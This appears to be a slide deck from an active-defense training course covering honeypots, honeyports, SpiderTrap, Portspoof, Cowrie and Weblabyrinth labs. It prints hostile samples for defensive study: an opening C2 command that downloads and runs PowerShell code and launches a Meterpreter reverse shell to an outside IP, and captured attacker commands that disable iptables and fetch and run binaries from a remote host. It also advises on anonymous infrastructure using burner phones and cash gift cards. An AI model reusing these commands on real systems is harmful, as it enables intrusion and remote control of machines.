'{"commands":[{"id":"6","command":"cmd.exe \\/c \\"powershell -Command iex (New-
Object system.Net.WebClient).DownloadString(\\\\\\"http:\\/\\/goo.gl\\/b2m9zu\\\
\\\");Invoke-Shellcode -Payload windows\\/meterpreter\\/reverse_https -Lhost 207
.58.245.180 -Lport 443 -Force\\""}],"interval":30}'
>>>
```

Making it easier with RITA

Now! Follow the RITA Instructions on the class VM

- Now that we have looked at a problem backdoor, lets use a tool designed to make detection far easier!
- Open your Lab link on the ADHD VM and select the RITA section!

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION
Instructions on VM

LAB: Conclusion

- How would IDS/IPS vendors write a signature for this type of traffic?
- Sure, they could write a signature for the specific Base64 string
  - But encryption and randomization would bypass that
- We could also implement Internet whitelisting
  - But in some organizations, this is simply not politically feasible
- This lab highlights just how hard it is to detect attackers when they are already in your network

- ***Venom and Poison***

Difference Between Venom and Poison Recap

- Poison is something an entity needs to interact with
  - It is something that can be “taken”
  - It is inert
- Venom is something that is injected
  - It is part of an attack
- Active defense, when done properly, is poison
- We never attack (repeat three times)
- Make the bad guy interact with
  - Word document, Java app, web page, honeyport, and honeypot

Annoyance

Annoyance

- ***OSfuscate, DNS, and Other Oddities***

Mr. Clippy, Show Us the Way

- Through PHPIDS and/or PHP Tarpit, you can make attacking a website "interesting"
- First, install PHPIDS
- Then, create a rule to all attackers to pull up Mr. Clippy
- Is it a good idea to taunt attackers??
  - Let's talk about that…

DTE0034	System Activity Monitoring	Collect system activity logs which can reveal adversary activity.

Making Your Website Look Like Something Else

Web Server	Last changed
Apache 2.0.59 Oric Dragon32	3-Jul-2007
Apache 2.0.59 CBM PET	29-Jun-2007
Apache 2.0.59 ZX Spectrum 48k Rubber Keys	27-Jun-2007
Apache 2.0.59 Commodore C64	26-Jun-2007
Apache 2.0.59 CBM PET	25-Jun-2007
Apache 2.0.59 MSX Toshiba HX-10	24-Jun-2007
Apache 2.0.59 Commodore C64	23-Jun-2007
Apache 2.0.59 ZX Spectrum 48k Rubber Keys	17-Jun-2007
Apache 2.0.59 CRAY	16-Jun-2007
Apache 2.0.59 ZX Spectrum 48k Rubber Keys	15-Jun-2007

=

https://www.howtoforge.com/changing-apache-server-name-to-whatever-you-want-with-mod_security-on-debian-6
https://www.inmotionhosting.com/support/website/security/hide-apache-version-and-linux-os/

DTE0004	Application Diversity	Present the adversary with a variety of installed applications and services.

Honeydns

- What if your DNS server pointed to a large number of non-existent systems?
- Most attackers start by pulling records from a DNS server
  - Zone transfer, if possible
- The idea is to have a large number of records pointing to unused IP address space
- Then, log, alert, and possibly drop addresses that request for these systems

```
File  Edit  View  Terminal  Tabs  Help
$TTL 1H
@       SOA     bilbo.  root.bilbo. (   2
                                        3H
                                        1H
                                        1W
                                        1H )
        NS      cracked.
100     PTR     farked.
101     PTR     bill.
102     PTR     james.
103     PTR     kim.
104     PTR     john.
105     PTR     mail.
106     PTR     smtp.
107     PTR     ftp.
108     PTR     web.
109     PTR     dns.
110     PTR     vpn.
111     PTR     pauldotcom.
-- INSERT --                    2,24-35       Top
```

DTE0013	Decoy Diversity	Deploy a set of decoy systems with different OS and software configurations.

Annoyance

- ***Evil Web Servers***

Evil Web Servers

- Many testers and attackers use automated crawling
  - This helps identify pages and possible insertion points for their attacks
- Maybe there is a way to attack the tools
- Possibly setting up a DoS condition on the automated scanner
- You can also set up rules to alert you
- Let's give this a try
- This is not something you want to do on an external webserver that you want to have crawled by Google
- Configure robots.txt appropriately

DTE0011	Decoy Content	Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc.

Annoyance

- ***Lab: SpiderTrap***

Lab: SpiderTrap

```
adhd@ubuntu:/opt/spidertrap$ cat spidertrap.py
#!/usr/bin/env python

# Spider Trap

### Configuration Section ###
# the lower and upper limits of how many links to put on each page
LINKS_PER_PAGE = (5, 10)
# the lower and upper limits of how long each link can be
LENGTH_OF_LINKS = (3, 20)
# the port to bind the webserver on
PORT = 8000
```

- Objective: To show how we can easily create infinitely recursive directory loops to stop web crawling activity
- **<u>We will use the ADHD VM for this lab!</u>**
- This lab should take 15-20 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION

Instructions on VM

Lab: Running SpiderTrap

```
/opt/spidertrap$ python2 spidertrap.py

Starting server on port 8000...
Server started.  Use <Ctrl-C> to stop.
```

Lab: Spidertrap - Using wget

```
$ wget -m http://127.0.0.1:8000

--2013-01-14 12:54:15--  http://127.0.0.1:8000/
Connecting to 127.0.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
<<<snip>>>
HTTP request sent, awaiting response... ^C
```

- Many testers use the Ron Popeil testing methodology
  - "Set it and forget it!"
- This would lead to a fun surprise when the testers come back

Lab: Spidertrap - Passing in a Directory List

- Giving SpiderTrap a list of directories to make it more realistic

```
/opt/spidertrap$ python2 spidertrap.py DirBuster-Lists/directory-list-2.3-big.txt

Starting server on port 8000...
Server started.  Use <Ctrl-C> to stop.
```

Annoyance

- ***Not Getting Shot Is Important (or How to Set This Up at Work)***

Playing with Fire: Not Getting Shot Is Important (or How to Set This Up at Work)

- Okay, so you think you have a bad guy system you want to investigate
- Direct connections are a huge no-no!
- In fact, directly connecting can be highly dangerous
- Our recommendation is to not connect until you are sure you have what you need from an IR perspective

- Do not set it up so it is attributable to you or your company
  - Think about who you are dealing with: drug dealers, mafia, Internet tough guys, and so on

DTE0010	Decoy Account	Create an account that is used for active defense purposes.

Basic ADHD Setup

- Consider setting up ADHD in a non-attributable fashion
  - Preferably on a third-party hosting provider
- Do not set this up on your network (ever!)
- You want all the callbacks to come to a server/domain not related to your organization
- Set up the server via a name/e-mail that is not a real person
  - Many organizations have their employees set up the server under their personal e-mail and name
  - This is not good at all
- Register all this through a non-attributable e-mail/PayPal/domain/hosting

Proxy Software

- It is critical you use a third-party anonymizing proxy service to connect back to your Internet-facing ADHD instance, e-mail domain registration, and PayPal
- This creates another layer of protection for you and your company
- This sounds awful, but let's pretend you are a criminal
- Good options for using TOR safely (i.e. minimizing exposure)
  - Whonix - https://www.whonix.org/ (VMs)
  - TailsOS - https://tails.boum.org/ (Live system)
- Ideally, set up on a third-party hosted server somewhere
- VPN services are another option but may not be as anonymous

Non-Attributable E-mail

- Avoid Google/Microsoft/etc.
  - Let's just say privacy is not really their thing…yeah :-\
- ProtonMail is all about privacy and anonymity
  - Free, zero-knowledge system, hosted in Switzerland (excellent privacy laws)
  - Supports custom domains, too!
  - https://protonmail.com/
- All of your other accounts will use this account as the main registration and verification point
- Use a very strong/long passphrase (never reuse anywhere else)
- If you have to provide an address, use a famous place that has nothing to do with you or anyone associated with you in any way

Hosting/Domain Providers

- Some hosting providers are a bit crazy about how they verify who you are
  - Amazon can be strict
- You will either need to be able to upload or convert ADHD
  - Or simply reinstall the tools
- When you create your non-attributable instance, be prepared to have to destroy it
  - Don't get too emotionally attached to it
- Provider needs to accept PayPal and/or pre-paid gift cards
- The previous options are getting rarer and rarer
- Digital Ocean is a good option (no guarantees in this business)

Burner Phones

- Burner Phones are essential to confirm account details
  - Serivces like Google will require a phone to send a text to activate an account
- Phones can be purchased from just about anywhere (Walmare, Target, gas stations, etc.) for little to no cost
- You can also use an app like Burner
  - Burnerap.com
  - Unlimited burner numbers
  - WARNING: Your phone can still be traced with a warrent
- Now, you can feel like a real spy!

Paying for It All

- Do not use a personal/corporate credit card!
- Go to Walgreens (preferably in another state)
- Purchase VISA, AMX, or Master Card gift cards
- Pay with cash
- $100-$500 seems to be enough for a 2-6 month operation
- Then, create a PayPal account tied to this card
  - This might be against the terms of service for PayPal
  - But, getting shot is not fun either

Setup

All deployed components should call back to your cloud-based ADHD system.

Annoyance

- ***Honeypots***

What Is a Honeypot?

- This is an object that is intended to be interacted with by an attacker, not legitimate users
- Honey all the things!
  - honeytoken, honeyrecord, honeytable, honeypot, honeynet, honeycred, honeyport, honeydoc, etc.
- Ideally, it should resemble something valuable to you and/or your organization
- Any interaction with the honey*thing* is considered malicious and should be responded to immediately

Purpose of This Section

- We can look at honeypots in two different ways:
  - Research honeypots
  - Production honeypots
- We focus on production honeypots for:
  - Identifying malicious internal systems and users
  - Identifying attacks that AV and IDS miss
  - Our incident-handling procedures

DTE0013	Decoy Diversity	Deploy a set of decoy systems with different OS and software configurations.
DTE0014	Decoy Network	Create a target network with a set of target systems, for the purpose of active defense.
DTE0015	Decoy Persona	Develop personal information (aka a backstory) about a user and plant data to support that backstory.
DTE0016	Decoy Process	Execute software on a target system for the purposes of the defender.
DTE0017	Decoy System	Configure a computing system to serve as an attack target or experimental environment.

Use Honeypots to Learn About Attacks

- Many teams use honeypots to learn about how attacks work
- It can be useful as a learning tool
  - Much like having a hacker ant farm
- It can be a time sinker
- Management often does not see the value
- Why not focus on real attacks?

Use Honeypots to Learn About Attackers

- How do you handle system compromises?
  - Detect and clear?
  - Detect and learn?
- Honeypots give us great value in understanding the attacker's skill and motivation
- Dropping warez versus searching for "TOP SECRET" or credit card numbers
- What else did they have access to?

DTE0034	System Activity Monitoring	Collect system activity logs which can reveal adversary activity.

Why Use Honeypots in Production?

- Honeypots can help you detect attacks other techniques miss
- "Security through obscurity is this: No security at all"
  - Let's clarify that…
  - $D_t + R_t < A_t$
- Other security technologies have significant limitations
  - They miss most of the post-exploitation activities
  - Mainly because of how we use them
  - Trusted insiders are hard to detect
- Honeypots are an integral part of a robust defensive architecture

Honey Users

- We can also create accounts to trap attackers
  - Fake Domain Admin Accounts, Service accounts, etc.
- We then generate alerts for when these accounts are activated
- We can also create emails for these accounts
- LinkedIn? Facebook? Yes!
- Make sure rules are created in your SIEM for these accounts being accessed

DTE0010	Decoy Account	Create an account that is used for active defense purposes.
DTE0015	Decoy Persona	Develop personal information (aka a backstory) about a user and plant data to support that backstory.

OpenCanary

- A great collection of scripts to emulate a wide number of honey services
  - FTP, HTTP, SMB, SSH, Telnet, etc.
- The alerting is one of the more interesting aspects of OpenCanary
  - Email, Syslog, and SMS
- Python-based scripts are super easy to use
- Get it here:
  - http://docs.opencanary.org/en/latest/


```
{
  "console.sms_notification_enable": true,
  "console.sms_notification_numbers": ["+336522334455"],
  "console.email_notification_enable": true,
  "console.email_notification_address": ["notifications@opencanary.org"],
  "twilio.auth_token": "fae9206628714fb2ce00f72e94f2258f",
  "twilio.from_number": ""+1201253234"",
  "twilio.sid": "BD742385c0810b431fe2ddb9fc327c85ad",
  "console.mandrill_key": "9HCjwugWjibxww7kPFej",
  "scans.network_portscan_horizon": 1000,
}
```

Commercial Solutions: Cymmetria Maze Runner

Cymmetria | Dashboard | Campaign | Endpoints | Investigation | used: 4GB, avail.: 241GB

DECOYS

Backup server 1

File Server 1

SERVICES

SMB Backup 1 daily

SMB Backup 1 weekly

SMB Backup 1 monthly

SSH Backup service 1 SSH

SMB File Server 1 service

BREADCRUMBS

Network Share Backup 1 SMB

SSH with password Backup 1 SSH

Network Share File Server 1 netshare

Decoys | Services | Breadcrumbs

Add decoy

Search | Results per page: 10

Name	Decoy OS	Hostname	Status		IP	Created at	VM type	Actions
Backup server 1	Ubuntu 14.04	Backup1	Not seen yet	On Off		2016/07/21 00:41:37	KVM	Delete Edit
File Server 1	Ubuntu 14.04	FS1	Not seen yet	On Off		2016/07/21 00:41:39	KVM	Delete Edit

DTE0014	Decoy Network	Create a target network with a set of target systems, for the purpose of active defense.

Annoyance

- ***Honeyports***

Honeyports

- Honeyports are ports that trigger an action when they are connected to
  - Blacklist
  - Alert
  - Fire up Mr. Coffee
- If they are not done correctly, there is a chance you might blacklist legitimate systems
- Understand how connections work before you start implementing technical solutions

DTE0016	Decoy Process	Execute software on a target system for the purposes of the defender.

Fail2Ban

- Fail2Ban monitors for authentication failures in /var/log/auth.log
- Once a threshold of fails is reached, it will block the offending IP address
- So easy to use, it should be installed on everything
- Monitors any service that logs to auth.log
  - SSH, Web Services, Telnet, etc
- Can be found here:
  - http://www.fail2ban.org/wiki/index.php/Main_Page

```
 __      _ _ ___ _
/ _|__ _(_) |_  ) |__  __ _ _ _
|  _/ _` | | |/ /| '_ \/ _` | ' \
|_| \__,_|_|_/___|_.__/\__,_|_||_|
v0.10.0                  2016/??/??
```

Annoyance

- ***Lab: Honeyports***

Lab: AutoDrop from the CLI

- You create two different scripts that automatically drop connections to your honeyports
  - One for Linux
  - One for Windows
- First, there is a series of write-ups on the different components required to complete the lab
- Solutions are provided at the very end
  - But what is the fun in that?
- Objective: Why do this when there are tools that do this for you?
  - Because, you might not have access/permission to use some of the tools we cover
- This lab should take roughly 60 minutes

Lab: Drop from the CLI-Iptables

- Iptables is the built-in Linux firewall:
  - Very powerful
  - Flexible architecture
- Let's look at a simple rule:

  # iptables –A INPUT –p tcp –s 172.16.30.42 –j DROP
  - This adds a rule to drop all TCP traffic from 172.16.30.42
  - You can also create OUTPUT and FORWARD rules
  - There are also nat and mangle rules
- To clear your rules:

  # iptables –F
- To list your rules:

  # iptables –L

Lab: Drop from the CLI - Bash

- Bash is wicked powerful
- It is also everywhere
- First, use scripting language for new IT folks
- To loop
  - # while [1]; [do something]; done
- To assign a variable
  - # FOO=Bar
  - # echo $FOO
- Using cut
  - # uname - a
  - # uname -a | cut -d " " –f2
  - Then try 3, 4, and 1

Lab: Drop from the CLI - Netcat

- Netcat can shovel data across a network connection
  - For the online manual
  - # man nc
- It can listen on an arbitrary port of your choosing
  - # nc –nvl 8080
  - Netcat listens on port 8080, no DNS, with verbose output
- The –v option produces verbose output
  - Helpful when you want to cut out something (e.g. an IP address)

Lab: Drop from the CLI - Other Linux Commands

- Grep allows you to display lines that meet the criteria you set forth
- | < -- That is not an “I;” it is a “pipe”
  - Look above the Enter key
  - This allows you to take the output of one command and pipe it into another for processing
- For example: # cat /etc/passwd| grep “:0:”
  - This dumps the contents of /etc/passwd and displays only the lines that have :0:
- Shell redirects
- 0 = Standard Input
- 1 = Standard Output
- 2 = Standard Error
- /dev/null is sometimes a good place to send things you do not care about
- awk can be your friend (man awk, look at print)

Lab: Drop from the CLI - Hints

- You need to chain some things together
- The output of a command might need to be assigned to a variable that you will call later
- Standard Error (2) is very important
- Break your different commands up and look at your output
- What do you need?
- How can you get only the values you want?
- Work together!

Lab: Drop from the CLI - Setting Up the Trap

Type the following script using your favorite editor (vim, only vim, etc.) and save it as “honeyport.sh”

```
#!/bin/bash

echo ”Honeyports activated…"

while [ 1 ]
do
        IP=`nc -nvl 1025 2>&1 1> /dev/null | grep from | awk –F '[] []' '{print $2;}'`
        iptables -A INPUT -p tcp -s $IP -j DROP
        echo -- $IP has been blocked!
done
```

```
$ sudo bash honeyport.sh
Honeyports activated…
```

Lab: Drop from the CLI - Setting Up the Trap (ADHD4)

Type the following script using your favorite editor (vim, only vim, etc.) and save it as “honeyport.sh”

```
#!/bin/bash

echo "Started"

while [ 1 ]
do
        IP=`nc -nvl 1025 2>&1 1> /dev/null | grep received | awk -F '[] []' '{print $3;}'`
        iptables -A INPUT -p tcp -s $IP -j DROP
        echo -- $IP has been blocked!
done
```

Lab: Drop from the CLI - Triggering the Trap

- Now scan your honeyport from your HoneyDrive system
- This scan will report the port as open

```
$ sudo nmap -F ADHD_IP_Address

Starting Nmap ( http://nmap.org )

Nmap scan report for ubuntu (192.168.1.X)
Host is up (0.00069s latency).
Not shown: 97 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:6C:14:79 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
```

Lab: Drop from the CLI - A Full Connect Scan

- A full TCP connection triggers the honeyport
- Your Nmap scan will be much slower this time

```
$ sudo nmap -sT -F ADHD_IP_Address

Starting Nmap ( http://nmap.org ) at 2016-08-30 13:25 Pacific Standard Time
```

Lab: Drop from the CLI - Meanwhile, Back At the Ranch...

```
/opt/honeyports$ sudo bash honeyport.sh
Honeyports activated...
-- 192.168.1.X has been blocked!
```

```
$ sudo iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
DROP       tcp  --  192.168.1.X          anywhere

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Be sure to kill your port scan!

```
$ sudo iptables -F
```

Lab Extra: On the Windows Side ### for the Ambitious!

- This can accomplish the same thing with this

```
FOR /f ”delims=[] tokens=4" %%i
       IN (‘nc -l -p 3333 -n -v 2^>^&1 ^| find ^"from^”’)
       DO set IP=%%i

netsh advfirewall firewall add rule name="Delete" dir=in
remoteip=%IP% localport=any protocol=TCP action=block >
NUL
```

- Just… Don’t do this.

Lab Extra : Drop from the CLI - Enable PowerShell Scripts

- Click *Start* and type **powershell**
- Right-click and select *Run as administrator*

- Type the command

```
PS > Set-ExecutionPolicy Unrestricted

Execution Policy Change
Do you want to change the execution policy?
[Y] Yes  [N] No  [S] Suspend  [?] Help : Y
```

Lab Extra : Drop from the CLI - Honeyport

```
PS > .\honeyport.ps1 1025

Security Warning
Run only scripts that you trust. While scripts from the
Internet can be useful, this script can potentially harm your
computer. Do you want to run honeyport.ps1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help
(default is "D"): R
```

Lab Extra : Drop from the CLI - Scan with Nmap

- Run an Nmap scan against the Windows machine

```
$ sudo nmap -PN -p 1025 Your_Windows_IP_Address

Starting Nmap( http://nmap.org )

Nmap scan report for 192.168.1.216
Host is up (0.00060s latency).
Not shown: 99 filtered ports
PORT     STATE SERVICE
1025/tcp open  NFS-or-IIS
MAC Address: 00:0C:29:3B:F9:ED (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.87
seconds
```

Lab Extra : Drop from the CLI - Connect with Netcat and Rescan

On Linux, connect with netcat

```
$ nc -nv Your_Windows_IP_Address 1025
```

On Windows, check the output and relaunch honeyport.ps1

On Linux, rescan with Nmap

```
$ sudo nmap -F Your_Windows_IP_Address
```

Lab Extra : Drop from the CLI - What Happened?

Lab Extra : Drop from the CLI - The Rule

```
PS C:\Tools> Get-EventLog honeyport

  Index Time          EntryType   Source                 InstanceID Message
  ----- ----          ---------   ------                 ---------- -------
      4 Jul 22 20:44  Information BlueKit                      1002 192.168.123.128 has probed the HoneyPort on por...
      3 Jul 22 20:41  Information BlueKit                      1001 HoneyPort has started listening for connections...
      2 Jul 22 20:30  Information BlueKit                      1002 192.168.123.128 has probed the HoneyPort on por...
      1 Jul 22 20:24  Information BlueKit                      1001 HoneyPort has started listening for connections...


PS C:\Tools>
PS C:\Tools>
```

Lab Extra : Drop from the CLI - Clean Up

- Delete the “Block scanner” rule
- Restore your firewall to its original state
  - Off?

Lab: Cheating with honeyports

- Paul from Security Weekly created a “wicked” cool Python script that does all of this…easily
- It is in the /opt/honeyports directory
- There is a cheat sheet for it as well
- Set up honeyports and test it
- For an added challenge, add logging to the script
- Objective: See how easy it is to deploy cross platform honeyports
- This lab should take roughly 15 minutes
- https://github.com/gchetrick/honeyports

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION

Instructions on VM

What Do Honeyports Buy You?

- They give you visibility
- Current IDS IPS technologies fail at detecting attackers communicating with open ports over normal protocols
  - SMB, SSH, HTTP, and HTTPS
- Also, IPS/IDS technologies are effectively blind at detecting 0-day attacks
- However, if anyone, for any reason, interacts with a honeyport, it can trigger an alert and/or create a dynamic blacklist entry
- Flexibility, you can run them from the command line, and you can run them as Python, PowerShell, and Ruby scripts
- This makes them an effective defense for air-gaped/high-security networks

Honeyports in the Enterprise

- Why not run these everywhere?
- They are simple
- They cause little to no impact on production
- They are low interaction
- Potential issues
  - Messing with VA scanning: You can create exceptions and do authenticated scanning
  - It is possible, though very unlikely, that an attacker will use these scripts to block legitimate systems:
    - Requires DoS and TCP sequence number prediction
    - And a full established connection
    - Very hard to do with a live system
    - No greater risk than anything else online

Annoyance

- ***Portspoof***

Evil Honeyports: Portspoof

- In addition to our "tripwires," why not create white noise and chaff as well?
- Portspoof does this
- It generates random responses to service identification requests
- Basically, the ports that get scanned never come back the same
- It can take hours to run a simple service identification scan

DTE0013	Decoy Diversity	Deploy a set of decoy systems with different OS and software configurations.

Portspoof in Action

```
Starting Nmap 6.25 ( http://nmap.org ) at 2013-07-16 10:48 CEST
Nmap scan report for 172.16.37.145
Host is up (0.00097s latency).
PORT    STATE SERVICE          VERSION
1/tcp   open  pop3             Eudora Internet Mail Server X pop3d 870
2/tcp   open  honeypot         Network Flight Recorder BackOfficer Friendly http honeypot
3/tcp   open  smtp             Postfix smtpd (Debian)
4/tcp   open  ssh              (protocol 7)
5/tcp   open  X11              XFree86 9 patch level g (Connectiva Linux)
6/tcp   open  imap             Kerio imapd 4539 patch 4
7/tcp   open  ftp              Sambar ftpd
8/tcp   open  unknown
9/tcp   open  http             Cisco VPN Concentrator http config
10/tcp open  ssh               (protocol 3)
11/tcp open  ms-wbt-server     Microsoft NetMeeting Remote Desktop Service
12/tcp open  scalix-ual        Scalix UAL
13/tcp open  smtp              Small Home Server smtpd
14/tcp open  telnet            Dreambox 500 media device telnetd (Linux kernel t; PLi image Jade, based on Dk)
15/tcp open  ftp               ProFTPD (German)
16/tcp open  ftp               Lexmark K series printer ftpd (MAC: k)
17/tcp open  ftp               ProFTPD
18/tcp open  irc-proxy         muh irc proxy
19/tcp open  ftp               ProFTPD
20/tcp open  hp-gsg            IEEE 1284.4 scan peripheral gateway
21/tcp open  desktop-central   ManageEngine Desktop Central DesktopCentralServer
22/tcp open  ssh               OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0)
23/tcp open  telnet            Blue Coat telnetd
24/tcp open  hp-gsg            IEEE 1284.4 scan peripheral gateway
25/tcp open  ftp               Polycom VSX 7000A VoIP phone ftpd
26/tcp open  vnc               Ultr@VNC 1.0.8.0
27/tcp open  ssh               (protocol 133038)
28/tcp open  telnet            Blue Coat telnetd
29/tcp open  printer           VSE lpd
30/tcp open  ssh               SSHTools J2SSH (protocol 0740)
31/tcp open  telnet            Lantronix MSS100 serial interface telnetd 8469697
32/tcp open  pop3              Dovecot pop3d
33/tcp open  telnet            Comtrol DeviceMaster RTS ethernet to serial telnetd (Model 4; NS-Link DqX; MAC Q)
34/tcp open  smtp              WebShieldet smtpd
35/tcp open  telnet            HP switch telnetd
36/tcp open  upnp              MiniDLNA MJsUCeP (DLNADOC cwbQquVF; UPnP YT)
```

Annoyance

- ***Lab: Portspoof***

Lab: Portspoof

- Now, it is your turn
- Follow the directions on the class ***ADHD VM*** and run portspoof on your own system
- The scans can take a very long time to run
- Objective: To confuse service and vulnerability scanners
- This lab should take roughly 20 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION
Instructions on VM

Honeyports in the Enterprise

Annoyance

- ***Cowrie/Kippo***

Cowrie/Kippo

- Cowrie is different from a simple honeypot because it allows the attacker to interact with a fake SSH service
  - Kippo is an older version (For ADHD3)
- Cowrie is an outstanding SSH honeypot
- It allows you to intercept and capture logins and activity by attackers
- It is useful for capturing the passwords an attacker has, or at least what he thinks he has
- It can be used for both annoyance and for attribution

Thanks for the Commands!

```
/etc/init.d/iptables stop
chmod 0775 /usr/bin/nohup
chmod 0775 /usr/bin/killall
chmod 0775 /usr/bin/rm
chmod 0775 /usr/bin/wget
mkdir /etc/plngius
killall .Linux_time_[redacted]
rm -r -f /etc/plngius/.Linux_time_y[redacted]
wget -O /etc/plngius/.Linux_time_y[redacted] http://119.1.109.43:4443/txma
chmod 0755 /etc/plngius/.Linux_time_y[redacted]
nohup /etc/plngius/.Linux_time_y[redacted] > /dev/null 2>&1 &
killall .Linux_time_y[redacted]
rm -r -f /tmp/.Linux_time_y[redacted]
wget -O /tmp/.Linux_time_[redacted] http://119.1.109.43:4443/xudp
chmod 0755 /tmp/.Linux_time_[redacted]
nohup /tmp/.Linux_time_[redacted] > /dev/null 2>&1 &
exit
```

Cowrie in the Enterprise (1)

- Collecting commands is helpful to determine what bad guys want and what they are up to
  - Are they trying to set up a simple backdoor?
  - Are they after specific files? A targeted attack possibly?
  - Are they just simple DDoS booters? Are they spammers?
- Do they have valid user IDs and possible passwords?
- Many organizations have users that use their work e-mail to register for a third-party site:
  - I09, Adobe, LinkedIn, RockYou
- What if that site is compromised?
- How many users sync their passwords?
- How would you react differently if they did?

Cowrie in the Enterprise (2)

Failed login attempts for:
Bryce
Strands
Mick
Mike
Ethan
Lawrence
Paul
Larry

Valid domain accounts for:
Strandjs
Mick
Ethan
Mike
Joff
Lawrence
Paul
Larry

Annoyance

- ***Lab: Cowrie***

Lab: Cowrie/Kippo

- Now, it is up to you
- Follow the instructions in your Cowrie cheat sheet
- Have your partner team attack your SSH server
  - Have him/her be creative
- Watch the logs
- Then, attack your partner when he/she is ready
- Note: You can change the default password!
- ***<u>We will use the ADHD VM for this lab</u>***
- Objective: To create an ssh honeypot to capture attackers' commands
- This lab should take roughly 20 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION

Instructions on VM

Annoyance

- ***Artillery***

Artillery

- Artillery is from the fine folks at TrustedSec
- Would it not be cool to have honeyport and file monitoring?
- This is exactly what Artillery does
- It is created by Dave Kennedy
- It automatically opens honeyports for a number of widely used services
  - For example, 135/445 (RPC/SMB), 1433 (MSSQL), and 5900 (VNC)
- It has the capability to generate e-mail alerts
- Possible limitations
  - The default port set is very predictable, but this can be modified
  - It can be a bit cumbersome to set up on a number of servers, but not impossible

DTE0016	Decoy Process	Execute software on a target system for the purposes of the defender.

Annoyance

- ***More Evil Web Servers***

Let's Revisit the SpiderTrap Idea

- Ben Jackson took the idea of SpiderTrap and extended it into a PHP script
- He called it "Weblabyrinth"
- It is PHP so you can load it in your web infrastructure
- It has a number of cool features
  - Gently tells Googlebot to go away
- It also has some additional nice touches
- It is David Bowie approved

Keeping It "Real"

```
function SpinTheWheelOfErrors(){
        $error_chance = rand(0,100);
        $error_string = false;

        if ($error_chance == 16){
                $error_string = "HTTP/1.1 404 Not Found";
        } elseif ($error_chance == 23){
                $error_string = "HTTP/1.1 403 Forbidden";
        } elseif ($error_chance == 42){
                #Included just for the WTF Factor
        $error_string = "HTTP/1.1 402 Payment Required";
        }

        if ($error_string){
                header($error_string);
                exit;
        }
}
```

Other Weblabyrinth Features

again. Who had got burnt, get very tired of out of that dark crying like that!' said However, on the second see, as she couldn't trying every door, she marked in currants. 'Well, heads downward! The Antipathies, be like then?' And make ONE respectable person!' seen a rabbit with if I fell off then she looked at going through the little she found she had I'll eat it,' said then she looked at down went

mailto:ODg4MDg1NjA@example.com

```
//Text to trigger IDS alert
'text' => 'honorificabilitudinitatibus'
```

index.php

127.0.0.1/labyrinth/index.php

Google

honorificabilitudinitatibus Straight on like a and hot buttered toast, no longer to be over afterwards, it occurred She felt that she 'which certainly was not I've fallen by this up like a telescope! waistcoat-pocket, or a watch way it was not remember the simple like after the candle toast, she very soon her hand on the there's hardly enough of to drop the jar when suddenly, thump! thump! from the roof. There she had forgotten the of the earth. Let it when she turned find another key on jar from one of when she turned the this was not a nervous about this; for herself out with trying, for the hot day beginning to get very her best to climb the poor little thing like a tunnel for of that dark hall, think you could manage the jar for fear soon finished off the in the common way. Alice was not a I could shut up feet, for it flashed for, you see, as think--' she was rather of pretending to be slowly, for she had showing off her knowledge, fancy what the flame shall see it written not remember the simple say. Presently she began the sides of the garden, and I don't First, however, she waited she decided on going dipped suddenly down, so miles down, I think--' time it all seemed she opened it, and and burning with curiosity, was just in time it, and found in garden, and I don't was growing, and a White Rabbit with of the doors of to come out among of the earth. Let belong to one of Presently she began again.

Annoyance

- ***Lab: Weblabyrinth***

Lab: Weblabyrinth - Wget... Again… Because We Are Not Creative

```
$ wget -m http://127.0.0.1/labyrinth
--2013-01-30 15:55:26-- http://127.0.0.1/labyrinth
Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 301 Moved
Permanently
Location: http://127.0.0.1/labyrinth/ [following]
--2013-01-30 15:55:26--  http://127.0.0.1/labyrinth/
Reusing existing connection to 127.0.0.1:80.
HTTP request sent, awaiting response... 200 OK
```

- ***<u>We will use the ADHD VM for this lab</u>***
- Objective: To utilize a more robust version of infinitely recursive web directories with logging
- This lab should take roughly 30 minutes

ADHD LAB
ACTIVE DEFENSE HARBINGER DISTRIBUTION
Instructions on VM

Lab: Weblabyrinth – Check the Database

MySQL » 127.0.0.1 » Database: weblabyrinth

Database: weblabyrinth

Alter database Database schema Privileges

Tables and views

Search data in tables: Search

	Table	Engine	Collation	Data Length	Index Length	Data Free
	crawlers	InnoDB	latin1_swedish_ci	16,384	0	10,485,760
	1 in total	InnoDB	latin1_swedish_ci	16,384	0	0

MySQL » 127.0.0.1 » weblabyrinth » Table: crawlers

Table: crawlers

Select data **Show structure** Alter table New item

Column	Type	Comment
crawler_ip	text *NULL*	
crawler_rdns	text *NULL*	
crawler_useragent	text *NULL*	
first_seen	int(11) *NULL*	
last_seen	int(11) *NULL*	
last_alert	int(11) *NULL*	
num_hits	int(11) *NULL*	

	edit	crawler_ip	crawler_rdns	crawler_useragent	first_seen	last_seen	last_alert	num_hits
	edit	127.0.0.1		Wget/1.13.4 (linux-gnu)	1359586526	1359586527	1359586526	7
	edit	127.0.0.1		w3af.sourceforge.net	1359587089	1359587673	1359587089	1356

Lab: Weblabyrinth – What if Every Response Has an Indicator of an XSS or SQLi Attack?

- What if you are not a fan of Alice in Wonderland?
- What if you want the attacker and his/her crawler to trip numerous alerts?
- Well, edit the config file to point to something else
- Labyrinth pulls its text from alice.txt in config.inc.php
- You can change that to any file you want
- You can even upload your own text
- However, let's give it something "interesting"
  - Just for a proof of concept
- Make Labyrinth display attacks rather than alice.txt

Lab: Weblabyrinth – One Possible Solution

How about using Snort rules?

```
